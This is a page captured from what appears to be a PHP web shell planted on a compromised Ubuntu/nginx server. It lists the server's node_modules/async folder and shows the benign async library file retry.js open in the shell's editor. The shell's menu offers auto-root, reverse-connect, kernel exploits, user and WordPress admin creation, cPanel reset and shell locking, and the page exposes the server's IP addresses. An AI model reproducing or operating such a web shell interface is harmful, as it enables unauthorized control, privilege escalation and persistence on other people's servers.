Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
async /
[ HOME SHELL ]
Name
Size
Permission
Action
dist
[ DIR ]
dr-xr-xr-x
internal
[ DIR ]
dr-xr-xr-x
CHANGELOG.md
32.7
KB
-rw-rw-rw-
LICENSE
1.04
KB
-rw-rw-rw-
README.md
3.14
KB
-rw-rw-rw-
all.js
3.48
KB
-rw-rw-rw-
allLimit.js
1.71
KB
-rw-rw-rw-
allSeries.js
1.61
KB
-rw-rw-rw-
any.js
3.71
KB
-rw-rw-rw-
anyLimit.js
1.74
KB
-rw-rw-rw-
anySeries.js
1.64
KB
-rw-rw-rw-
apply.js
217
B
-rw-rw-rw-
applyEach.js
1.94
KB
-rw-rw-rw-
applyEachSeries.js
1.27
KB
-rw-rw-rw-
asyncify.js
3.67
KB
-rw-rw-rw-
auto.js
11.58
KB
-rw-rw-rw-
autoInject.js
6.93
KB
-rw-rw-rw-
bower.json
239
B
-rw-rw-rw-
cargo.js
2.68
KB
-rw-rw-rw-
cargoQueue.js
3.27
KB
-rw-rw-rw-
compose.js
1.53
KB
-rw-rw-rw-
concat.js
3.57
KB
-rw-rw-rw-
concatLimit.js
2.04
KB
-rw-rw-rw-
concatSeries.js
1.44
KB
-rw-rw-rw-
constant.js
302
B
-rw-rw-rw-
detect.js
3.17
KB
-rw-rw-rw-
detectLimit.js
1.79
KB
-rw-rw-rw-
detectSeries.js
1.7
KB
-rw-rw-rw-
dir.js
1.27
KB
-rw-rw-rw-
doDuring.js
2.25
KB
-rw-rw-rw-
doUntil.js
1.66
KB
-rw-rw-rw-
doWhilst.js
2.25
KB
-rw-rw-rw-
during.js
2.28
KB
-rw-rw-rw-
each.js
3.93
KB
-rw-rw-rw-
eachLimit.js
1.75
KB
-rw-rw-rw-
eachOf.js
5.61
KB
-rw-rw-rw-
eachOfLimit.js
1.6
KB
-rw-rw-rw-
eachOfSeries.js
1.3
KB
-rw-rw-rw-
eachSeries.js
1.54
KB
-rw-rw-rw-
ensureAsync.js
2.26
KB
-rw-rw-rw-
every.js
3.48
KB
-rw-rw-rw-
everyLimit.js
1.71
KB
-rw-rw-rw-
everySeries.js
1.61
KB
-rw-rw-rw-
filter.js
2.83
KB
-rw-rw-rw-
filterLimit.js
1.62
KB
-rw-rw-rw-
filterSeries.js
1.51
KB
-rw-rw-rw-
find.js
3.17
KB
-rw-rw-rw-
findLimit.js
1.79
KB
-rw-rw-rw-
findSeries.js
1.7
KB
-rw-rw-rw-
flatMap.js
3.57
KB
-rw-rw-rw-
flatMapLimit.js
2.04
KB
-rw-rw-rw-
flatMapSeries.js
1.44
KB
-rw-rw-rw-
foldl.js
4.76
KB
-rw-rw-rw-
foldr.js
1.47
KB
-rw-rw-rw-
forEach.js
3.93
KB
-rw-rw-rw-
forEachLimit.js
1.75
KB
-rw-rw-rw-
forEachOf.js
5.61
KB
-rw-rw-rw-
forEachOfLimit.js
1.6
KB
-rw-rw-rw-
forEachOfSeries.js
1.3
KB
-rw-rw-rw-
forEachSeries.js
1.54
KB
-rw-rw-rw-
forever.js
2.07
KB
-rw-rw-rw-
groupBy.js
3.51
KB
-rw-rw-rw-
groupByLimit.js
2.39
KB
-rw-rw-rw-
groupBySeries.js
1.3
KB
-rw-rw-rw-
index.js
19.47
KB
-rw-rw-rw-
inject.js
4.76
KB
-rw-rw-rw-
log.js
1.17
KB
-rw-rw-rw-
map.js
4.49
KB
-rw-rw-rw-
mapLimit.js
1.58
KB
-rw-rw-rw-
mapSeries.js
1.48
KB
-rw-rw-rw-
mapValues.js
4.48
KB
-rw-rw-rw-
mapValuesLimit.js
2.07
KB
-rw-rw-rw-
mapValuesSeries.js
1.35
KB
-rw-rw-rw-
memoize.js
3
KB
-rw-rw-rw-
nextTick.js
1.44
KB
-rw-rw-rw-
package.json
2.15
KB
-rw-rw-rw-
parallel.js
5.44
KB
-rw-rw-rw-
parallelLimit.js
1.48
KB
-rw-rw-rw-
priorityQueue.js
1.41
KB
-rw-rw-rw-
queue.js
626
B
-rw-rw-rw-
race.js
2.08
KB
-rw-rw-rw-
reduce.js
4.76
KB
-rw-rw-rw-
reduceRight.js
1.47
KB
-rw-rw-rw-
reflect.js
2.21
KB
-rw-rw-rw-
reflectAll.js
2.39
KB
-rw-rw-rw-
reject.js
2.61
KB
-rw-rw-rw-
rejectLimit.js
1.54
KB
-rw-rw-rw-
rejectSeries.js
1.44
KB
-rw-rw-rw-
retry.js
5.39
KB
-rw-rw-rw-
retryable.js
2.48
KB
-rw-rw-rw-
select.js
2.83
KB
-rw-rw-rw-
selectLimit.js
1.62
KB
-rw-rw-rw-
selectSeries.js
1.51
KB
-rw-rw-rw-
seq.js
2.59
KB
-rw-rw-rw-
series.js
5.69
KB
-rw-rw-rw-
setImmediate.js
1.36
KB
-rw-rw-rw-
some.js
3.71
KB
-rw-rw-rw-
someLimit.js
1.74
KB
-rw-rw-rw-
someSeries.js
1.64
KB
-rw-rw-rw-
sortBy.js
6.06
KB
-rw-rw-rw-
timeout.js
2.69
KB
-rw-rw-rw-
times.js
1.45
KB
-rw-rw-rw-
timesLimit.js
1.42
KB
-rw-rw-rw-
timesSeries.js
1.04
KB
-rw-rw-rw-
transform.js
5.43
KB
-rw-rw-rw-
tryEach.js
2.48
KB
-rw-rw-rw-
unmemoize.js
665
B
-rw-rw-rw-
until.js
2.03
KB
-rw-rw-rw-
waterfall.js
3.13
KB
-rw-rw-rw-
whilst.js
2.28
KB
-rw-rw-rw-
wrapSync.js
3.67
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : retry.js
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = retry; var _wrapAsync = require('./internal/wrapAsync.js'); var _wrapAsync2 = _interopRequireDefault(_wrapAsync); var _promiseCallback = require('./internal/promiseCallback.js'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function constant(value) { return function () { return value; }; } /** * Attempts to get a successful response from `task` no more than `times` times * before returning an error. If the task is successful, the `callback` will be * passed the result of the successful task. If all attempts fail, the callback * will be passed the error and result (if any) of the final attempt. * * @name retry * @static * @memberOf module:ControlFlow * @method * @category Control Flow * @see [async.retryable]{@link module:ControlFlow.retryable} * @param {Object|number} [opts = {times: 5, interval: 0}| 5] - Can be either an * object with `times` and `interval` or a number. * * `times` - The number of attempts to make before giving up. The default * is `5`. * * `interval` - The time to wait between retries, in milliseconds. The * default is `0`. The interval may also be specified as a function of the * retry count (see example). * * `errorFilter` - An optional synchronous function that is invoked on * erroneous result. If it returns `true` the retry attempts will continue; * if the function returns `false` the retry flow is aborted with the current * attempt's error and result being returned to the final callback. * Invoked with (err). * * If `opts` is a number, the number specifies the number of times to retry, * with the default interval of `0`. * @param {AsyncFunction} task - An async function to retry. * Invoked with (callback). * @param {Function} [callback] - An optional callback which is called when the * task has succeeded, or after the final failed attempt. It receives the `err` * and `result` arguments of the last attempt at completing the `task`. Invoked * with (err, results). * @returns {Promise} a promise if no callback provided * * @example * * // The `retry` function can be used as a stand-alone control flow by passing * // a callback, as shown below: * * // try calling apiMethod 3 times * async.retry(3, apiMethod, function(err, result) { * // do something with the result * }); * * // try calling apiMethod 3 times, waiting 200 ms between each retry * async.retry({times: 3, interval: 200}, apiMethod, function(err, result) { * // do something with the result * }); * * // try calling apiMethod 10 times with exponential backoff * // (i.e. intervals of 100, 200, 400, 800, 1600, ... milliseconds) * async.retry({ * times: 10, * interval: function(retryCount) { * return 50 * Math.pow(2, retryCount); * } * }, apiMethod, function(err, result) { * // do something with the result * }); * * // try calling apiMethod the default 5 times no delay between each retry * async.retry(apiMethod, function(err, result) { * // do something with the result * }); * * // try calling apiMethod only when error condition satisfies, all other * // errors will abort the retry control flow and return to final callback * async.retry({ * errorFilter: function(err) { * return err.message === 'Temporary error'; // only retry on a specific error * } * }, apiMethod, function(err, result) { * // do something with the result * }); * * // to retry individual methods that are not as reliable within other * // control flow functions, use the `retryable` wrapper: * async.auto({ * users: api.getUsers.bind(api), * payments: async.retryable(3, api.getPayments.bind(api)) * }, function(err, results) { * // do something with the results * }); * */ const DEFAULT_TIMES = 5; const DEFAULT_INTERVAL = 0; function retry(opts, task, callback) { var options = { times: DEFAULT_TIMES, intervalFunc: constant(DEFAULT_INTERVAL) }; if (arguments.length < 3 && typeof opts === 'function') { callback = task || (0, _promiseCallback.promiseCallback)(); task = opts; } else { parseTimes(options, opts); callback = callback || (0, _promiseCallback.promiseCallback)(); } if (typeof task !== 'function') { throw new Error("Invalid arguments for async.retry"); } var _task = (0, _wrapAsync2.default)(task); var attempt = 1; function retryAttempt() { _task((err, ...args) => { if (err === false) return; if (err && attempt++ < options.times && (typeof options.errorFilter != 'function' || options.errorFilter(err))) { setTimeout(retryAttempt, options.intervalFunc(attempt - 1)); } else { callback(err, ...args); } }); } retryAttempt(); return callback[_promiseCallback.PROMISE_SYMBOL]; } function parseTimes(acc, t) { if (typeof t === 'object') { acc.times = +t.times || DEFAULT_TIMES; acc.intervalFunc = typeof t.interval === 'function' ? t.interval : constant(+t.interval || DEFAULT_INTERVAL); acc.errorFilter = t.errorFilter; } else if (typeof t === 'number' || typeof t === 'string') { acc.times = +t || DEFAULT_TIMES; } else { throw new Error("Invalid arguments for async.retry"); } } module.exports = exports.default;
Close